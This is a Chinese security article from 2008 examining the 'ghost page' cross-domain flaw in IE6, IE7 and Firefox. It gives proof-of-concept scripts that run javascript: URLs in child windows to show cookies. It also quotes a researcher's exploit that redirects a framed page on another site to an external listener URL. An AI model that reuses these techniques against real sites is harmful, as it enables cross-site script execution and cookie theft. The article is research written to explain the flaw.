揭密鬼页 浅析浏览器跨域安全问题(2)

来源:IT 专家网 时间:2008-10-07 18:11:00 

3.域与域之间的牵绊

如果父页让子页访问某个域后,再执行伪协议会有什么效果?

用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:


<script>    
    x=window.open('about:blank'); 
    x.location="http://www.163.com" 
    setTimeout(function(){ 
        x.location="javascript:alert(document.cookie)"; 
    },5000) 
    </script>

结果:

IE6:没有反应。

IE7:报错,拒绝访问。

Firefox:报错,alert没有定义。

这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页执行伪协议脚本的。

为了进一步验证,我们让子页打开同一个域里的页面测试:

用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:


<script>  
    document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true 
    x=window.open('about:blank'); 
    x.location="http://127.0.0.1" 
    setTimeout(function(){ 
        x.location="javascript:alert(document.cookie)"; 
    },5000) 
    </script>

结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

父页和子页这种微妙的关系,到这里就开始引发安全问题了,安全研究人员在分析鬼页的时,给出了EXP:


javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1); 


  EXP按上面三部分的概念解释是:

父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架的URL地址,这个就是典型的跨域操作了。

鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让location指定的地址看起来像个对象而不是参数。

我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。

用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:


<script>    
    x=window.open('about:blank'); 
    x.location="http://www.163.com"; 
    setTimeout(function(){ 
        x.location=new String("javascript:alert(document.cookie)") 
    },5000) 
    </script>

IE6:弹出COOKIE。

IE7:报错,拒绝访问。

Firefox:报错,alert没有定义。

结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。

标签:安全,浏览器,javascript
0
投稿

猜你喜欢

  • 淘宝内测独立搜索引擎 已囤积上百搜索人才

    2009-10-12 11:59:00
  • DEDECMS网站被挂马的解决办法

    2010-12-08 16:29:00
  • 赢在巨人网游《仙途》30日启动不删档测试

    2009-10-31 09:33:00
  • phpcms实现站内搜索自动对应频道的方法

    2009-02-18 19:26:00
  • 个人站长创业需要注意的几点

    2008-12-23 08:57:00
  • 王月章:做好网站推广应该把握几个基本点

    2009-04-07 13:25:00
  • Discuz称将推独立插件满足phpwind用户QQ接入需求

    2011-07-13 18:29:28
  • 黑客翻新DDOS攻击手法 DNS服务器成帮凶

    2009-12-24 14:18:00
  • 教你如何使用反盗链技术

    2008-07-02 12:49:00
  • Windows 2003 安装设置iis

    2007-09-18 14:24:00
  • zblog博客实现代码高亮显示(插件)方法

    2011-08-11 19:21:17
  • 邵晓锋:大力加强电子商务基础设施建设

    2009-10-29 11:51:00
  • 产品为王

    2010-08-16 12:39:00
  • 微软称绕开Vista从XP升级到Windows 7很危险

    2008-06-09 19:13:00
  • 校内网一个跨站漏洞的利用

    2009-04-15 12:21:00
  • 网站更换域名应该注意的八个方面

    2008-11-28 15:05:00
  • 网络营销无难事:区分虚假和无效点击

    2009-03-02 10:19:00
  • Godaddy 域名续费图文教程 支付宝续费

    2011-05-10 17:02:00
  • 视频网站的十字路口

    2008-01-16 19:00:00
  • 学习成果分享:与搜索友好的网站架设规范

    2009-01-23 13:56:00
  • asp之家 网站运营 m.aspxhome.com